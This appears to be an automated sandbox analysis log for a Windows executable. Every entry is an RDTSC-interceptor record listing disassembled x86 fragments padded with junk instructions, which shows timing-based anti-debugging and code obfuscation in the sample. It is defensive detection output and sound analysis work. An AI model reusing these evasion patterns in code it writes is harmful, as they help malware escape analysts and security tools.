Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F10A62 second address: 4F10A77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4AB1444201h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F10A77 second address: 4F10A87 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov dl, cl 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F10A87 second address: 4F10A95 instructions: 0x00000000 rdtsc 0x00000002 mov bh, 68h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F10A95 second address: 4F10A9B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F10AE7 second address: 4F10BA7 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F4AB1444209h 0x00000008 adc ecx, 5E131C16h 0x0000000e jmp 00007F4AB1444201h 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007F4AB14441FEh 0x0000001d sub eax, 6ED08038h 0x00000023 jmp 00007F4AB14441FBh 0x00000028 popfd 0x00000029 call 00007F4AB1444208h 0x0000002e pop esi 0x0000002f popad 0x00000030 popad 0x00000031 cmp dword ptr [ebp-04h], 00000000h 0x00000035 jmp 00007F4AB1444201h 0x0000003a mov esi, eax 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f pushfd 0x00000040 jmp 00007F4AB1444203h 0x00000045 or al, 0000000Eh 0x00000048 jmp 00007F4AB1444209h 0x0000004d popfd 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F10BA7 second address: 4F10BAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F10BAC second address: 4F10BBA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4AB14441FAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F10BBA second address: 4F10BBE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F10C3F second address: 4F10C46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F10C46 second address: 4F00138 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, esi 0x00000009 jmp 00007F4AB0EAD87Bh 0x0000000e pop esi 0x0000000f jmp 00007F4AB0EAD886h 0x00000014 leave 0x00000015 pushad 0x00000016 mov eax, 56D46B4Dh 0x0000001b pushfd 0x0000001c jmp 00007F4AB0EAD87Ah 0x00000021 sbb al, 00000068h 0x00000024 jmp 00007F4AB0EAD87Bh 0x00000029 popfd 0x0000002a popad 0x0000002b retn 0004h 0x0000002e nop 0x0000002f cmp eax, 00000000h 0x00000032 setne al 0x00000035 jmp 00007F4AB0EAD872h 0x00000037 xor ebx, ebx 0x00000039 test al, 01h 0x0000003b jne 00007F4AB0EAD877h 0x0000003d sub esp, 04h 0x00000040 mov dword ptr [esp], 0000000Dh 0x00000047 call 00007F4AB57FAF98h 0x0000004c mov edi, edi 0x0000004e push eax 0x0000004f push edx 0x00000050 pushad 0x00000051 push edx 0x00000052 pop ecx 0x00000053 movsx ebx, ax 0x00000056 popad 0x00000057 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F00138 second address: 4F001F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov al, bh 0x00000005 pushfd 0x00000006 jmp 00007F4AB14441FEh 0x0000000b sbb esi, 4001FAB8h 0x00000011 jmp 00007F4AB14441FBh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebp 0x0000001b pushad 0x0000001c mov cl, DFh 0x0000001e pushfd 0x0000001f jmp 00007F4AB1444201h 0x00000024 adc eax, 75CB4D56h 0x0000002a jmp 00007F4AB1444201h 0x0000002f popfd 0x00000030 popad 0x00000031 push eax 0x00000032 pushad 0x00000033 pushfd 0x00000034 jmp 00007F4AB1444207h 0x00000039 add cx, 5E8Eh 0x0000003e jmp 00007F4AB1444209h 0x00000043 popfd 0x00000044 call 00007F4AB1444200h 0x00000049 mov si, B8A1h 0x0000004d pop esi 0x0000004e popad 0x0000004f xchg eax, ebp 0x00000050 jmp 00007F4AB14441FDh 0x00000055 mov ebp, esp 0x00000057 push eax 0x00000058 push edx 0x00000059 pushad 0x0000005a mov esi, edx 0x0000005c pushad 0x0000005d popad 0x0000005e popad 0x0000005f rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F001F7 second address: 4F0022F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, F867h 0x00000007 mov eax, 6C1BB403h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f sub esp, 2Ch 0x00000012 jmp 00007F4AB0EAD886h 0x00000017 xchg eax, ebx 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F4AB0EAD87Ch 0x00000020 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F0022F second address: 4F00287 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 call 00007F4AB1444200h 0x0000000b call 00007F4AB1444202h 0x00000010 pop eax 0x00000011 pop edx 0x00000012 popad 0x00000013 push eax 0x00000014 jmp 00007F4AB1444201h 0x00000019 xchg eax, ebx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d jmp 00007F4AB1444203h 0x00000022 movzx ecx, di 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F00287 second address: 4F002BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, 8FE7h 0x00000007 mov eax, 153F4383h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f xchg eax, edi 0x00000010 pushad 0x00000011 mov ebx, eax 0x00000013 mov bx, cx 0x00000016 popad 0x00000017 push eax 0x00000018 jmp 00007F4AB0EAD87Dh 0x0000001d xchg eax, edi 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F4AB0EAD87Dh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F002BC second address: 4F002C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F002F4 second address: 4F002F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F002F8 second address: 4F002FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F002FE second address: 4F00326 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F4AB0EAD883h 0x00000008 pop esi 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov ebx, 00000000h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 mov si, bx 0x00000017 mov dl, F2h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F00326 second address: 4F00364 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F4AB1444205h 0x00000009 adc esi, 2ADBC886h 0x0000000f jmp 00007F4AB1444201h 0x00000014 popfd 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a sub edi, edi 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F00364 second address: 4F00368 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F00368 second address: 4F0037E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AB1444202h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F0037E second address: 4F00390 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4AB0EAD87Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F00448 second address: 4F00485 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AB1444209h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushfd 0x0000000e jmp 00007F4AB14441FAh 0x00000013 sbb si, E3C8h 0x00000018 jmp 00007F4AB14441FBh 0x0000001d popfd 0x0000001e rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F004FE second address: 4F0055F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 mov di, D3C4h 0x00000009 popad 0x0000000a jg 00007F4B2290B7FAh 0x00000010 jmp 00007F4AB0EAD883h 0x00000015 js 00007F4AB0EAD8B6h 0x0000001b jmp 00007F4AB0EAD886h 0x00000020 cmp dword ptr [ebp-14h], edi 0x00000023 jmp 00007F4AB0EAD880h 0x00000028 jne 00007F4B2290B7C1h 0x0000002e pushad 0x0000002f pushad 0x00000030 mov esi, 0C25A933h 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F0055F second address: 4F00570 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov bh, al 0x00000007 popad 0x00000008 mov ebx, dword ptr [ebp+08h] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F00570 second address: 4F0058A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AB0EAD886h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F0058A second address: 4F005CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4AB1444201h 0x00000008 mov ecx, 5B839657h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 lea eax, dword ptr [ebp-2Ch] 0x00000013 jmp 00007F4AB14441FAh 0x00000018 xchg eax, esi 0x00000019 jmp 00007F4AB1444200h 0x0000001e push eax 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 mov edx, eax 0x00000024 mov ch, 4Bh 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F005CD second address: 4F0060F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AB0EAD882h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F4AB0EAD87Dh 0x00000013 sbb si, 8146h 0x00000018 jmp 00007F4AB0EAD881h 0x0000001d popfd 0x0000001e push eax 0x0000001f pop edi 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F0060F second address: 4F00665 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AB14441FDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a pushad 0x0000000b jmp 00007F4AB14441FCh 0x00000010 pushad 0x00000011 movzx eax, bx 0x00000014 mov dl, 5Bh 0x00000016 popad 0x00000017 popad 0x00000018 push eax 0x00000019 pushad 0x0000001a movsx edi, ax 0x0000001d pushad 0x0000001e mov esi, 5AA79C63h 0x00000023 mov esi, 366D9BBFh 0x00000028 popad 0x00000029 popad 0x0000002a nop 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e jmp 00007F4AB1444207h 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F00665 second address: 4F0066A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F0066A second address: 4F00670 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F00670 second address: 4F00674 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F00674 second address: 4F00678 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F00678 second address: 4F006CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 pushad 0x0000000a push ecx 0x0000000b mov esi, edi 0x0000000d pop edx 0x0000000e pushfd 0x0000000f jmp 00007F4AB0EAD880h 0x00000014 and al, 00000038h 0x00000017 jmp 00007F4AB0EAD87Bh 0x0000001c popfd 0x0000001d popad 0x0000001e mov dword ptr [esp], ebx 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 pushfd 0x00000025 jmp 00007F4AB0EAD882h 0x0000002a or al, FFFFFF98h 0x0000002d jmp 00007F4AB0EAD87Bh 0x00000032 popfd 0x00000033 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F0003E second address: 4F00043 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F00043 second address: 4F00049 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F00049 second address: 4F0004D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F0004D second address: 4F00097 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AB0EAD888h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F4AB0EAD880h 0x00000011 mov ebp, esp 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F4AB0EAD887h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F00097 second address: 4F0009D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F0009D second address: 4F000A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F000A1 second address: 4F000A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F000A5 second address: 4F000B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e mov bx, A9AAh 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F000B8 second address: 4F000D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4AB1444207h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F000D3 second address: 4F000D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F00C6E second address: 4F00D34 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, cx 0x00000006 mov dx, ax 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d pushad 0x0000000e mov dx, ax 0x00000011 pushfd 0x00000012 jmp 00007F4AB14441FEh 0x00000017 xor al, 00000078h 0x0000001a jmp 00007F4AB14441FBh 0x0000001f popfd 0x00000020 popad 0x00000021 push eax 0x00000022 pushad 0x00000023 push edi 0x00000024 mov dl, ch 0x00000026 pop edx 0x00000027 pushfd 0x00000028 jmp 00007F4AB14441FCh 0x0000002d and esi, 3B57E4D8h 0x00000033 jmp 00007F4AB14441FBh 0x00000038 popfd 0x00000039 popad 0x0000003a xchg eax, ebp 0x0000003b pushad 0x0000003c pushad 0x0000003d mov ch, C7h 0x0000003f mov si, di 0x00000042 popad 0x00000043 pushfd 0x00000044 jmp 00007F4AB1444203h 0x00000049 xor eax, 6C04CC4Eh 0x0000004f jmp 00007F4AB1444209h 0x00000054 popfd 0x00000055 popad 0x00000056 mov ebp, esp 0x00000058 jmp 00007F4AB14441FEh 0x0000005d cmp dword ptr [769B459Ch], 05h 0x00000064 jmp 00007F4AB1444200h 0x00000069 je 00007F4B22E91ECCh 0x0000006f push eax 0x00000070 push edx 0x00000071 pushad 0x00000072 push eax 0x00000073 push edx 0x00000074 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F00D34 second address: 4F00D3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F00D9E second address: 4F00DA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F00DA2 second address: 4F00DA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F00DA8 second address: 4F00E1D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AB1444204h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 07A96F1Bh 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F4AB14441FEh 0x00000017 jmp 00007F4AB1444205h 0x0000001c popfd 0x0000001d push esi 0x0000001e pop edi 0x0000001f popad 0x00000020 call 00007F4B22E98F78h 0x00000025 push 76952B70h 0x0000002a push dword ptr fs:[00000000h] 0x00000031 mov eax, dword ptr [esp+10h] 0x00000035 mov dword ptr [esp+10h], ebp 0x00000039 lea ebp, dword ptr [esp+10h] 0x0000003d sub esp, eax 0x0000003f push ebx 0x00000040 push esi 0x00000041 push edi 0x00000042 mov eax, dword ptr [769B4538h] 0x00000047 xor dword ptr [ebp-04h], eax 0x0000004a xor eax, ebp 0x0000004c push eax 0x0000004d mov dword ptr [ebp-18h], esp 0x00000050 push dword ptr [ebp-08h] 0x00000053 mov eax, dword ptr [ebp-04h] 0x00000056 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000005d mov dword ptr [ebp-08h], eax 0x00000060 lea eax, dword ptr [ebp-10h] 0x00000063 mov dword ptr fs:[00000000h], eax 0x00000069 ret 0x0000006a pushad 0x0000006b mov edi, eax 0x0000006d mov edi, ecx 0x0000006f popad 0x00000070 sub esi, esi 0x00000072 jmp 00007F4AB1444203h 0x00000077 mov dword ptr [ebp-1Ch], esi 0x0000007a push eax 0x0000007b push edx 0x0000007c pushad 0x0000007d mov dh, 6Fh 0x0000007f mov si, 5613h 0x00000083 popad 0x00000084 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F00E4E second address: 4F00E5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4AB0EAD87Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F00E5E second address: 4F00E62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F00E62 second address: 4F00E78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test al, al 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F4AB0EAD87Ah 0x00000011 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F00E78 second address: 4F00E7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F00E7E second address: 4F00E82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F00E82 second address: 4F00E86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F00E86 second address: 4F00EC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F4B228F136Dh 0x0000000e jmp 00007F4AB0EAD889h 0x00000013 cmp dword ptr [ebp+08h], 00002000h 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F4AB0EAD87Dh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F2006A second address: 4F2006F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F2006F second address: 4F20112 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AB0EAD887h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push ebx 0x0000000c pushfd 0x0000000d jmp 00007F4AB0EAD882h 0x00000012 and eax, 5A7DD718h 0x00000018 jmp 00007F4AB0EAD87Bh 0x0000001d popfd 0x0000001e pop ecx 0x0000001f push ebx 0x00000020 pushfd 0x00000021 jmp 00007F4AB0EAD884h 0x00000026 and ecx, 00B2C178h 0x0000002c jmp 00007F4AB0EAD87Bh 0x00000031 popfd 0x00000032 pop ecx 0x00000033 popad 0x00000034 xchg eax, ebp 0x00000035 pushad 0x00000036 mov cx, di 0x00000039 pushfd 0x0000003a jmp 00007F4AB0EAD881h 0x0000003f or cl, 00000016h 0x00000042 jmp 00007F4AB0EAD881h 0x00000047 popfd 0x00000048 popad 0x00000049 mov ebp, esp 0x0000004b pushad 0x0000004c push eax 0x0000004d push edx 0x0000004e movzx esi, di 0x00000051 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F20112 second address: 4F2023A instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F4AB14441FFh 0x00000008 add eax, 46ADFB4Eh 0x0000000e jmp 00007F4AB1444209h 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushfd 0x00000017 jmp 00007F4AB1444200h 0x0000001c sbb cx, 5FC8h 0x00000021 jmp 00007F4AB14441FBh 0x00000026 popfd 0x00000027 popad 0x00000028 xchg eax, esi 0x00000029 jmp 00007F4AB1444206h 0x0000002e push eax 0x0000002f jmp 00007F4AB14441FBh 0x00000034 xchg eax, esi 0x00000035 jmp 00007F4AB1444206h 0x0000003a mov esi, dword ptr [ebp+0Ch] 0x0000003d jmp 00007F4AB1444200h 0x00000042 test esi, esi 0x00000044 jmp 00007F4AB1444200h 0x00000049 je 00007F4B22E723E5h 0x0000004f jmp 00007F4AB1444200h 0x00000054 cmp dword ptr [769B459Ch], 05h 0x0000005b pushad 0x0000005c mov esi, 50FA9EADh 0x00000061 pushad 0x00000062 movzx ecx, dx 0x00000065 mov ax, dx 0x00000068 popad 0x00000069 popad 0x0000006a je 00007F4B22E8A499h 0x00000070 push eax 0x00000071 push edx 0x00000072 pushad 0x00000073 jmp 00007F4AB1444208h 0x00000078 pushfd 0x00000079 jmp 00007F4AB1444202h 0x0000007e or cx, EED8h 0x00000083 jmp 00007F4AB14441FBh 0x00000088 popfd 0x00000089 popad 0x0000008a rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F2023A second address: 4F2027F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F4AB0EAD87Fh 0x00000008 pop eax 0x00000009 pushfd 0x0000000a jmp 00007F4AB0EAD889h 0x0000000f jmp 00007F4AB0EAD87Bh 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 xchg eax, esi 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c mov eax, ebx 0x0000001e mov ch, bh 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F2027F second address: 4F20285 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F20285 second address: 4F20289 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F20289 second address: 4F2028D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
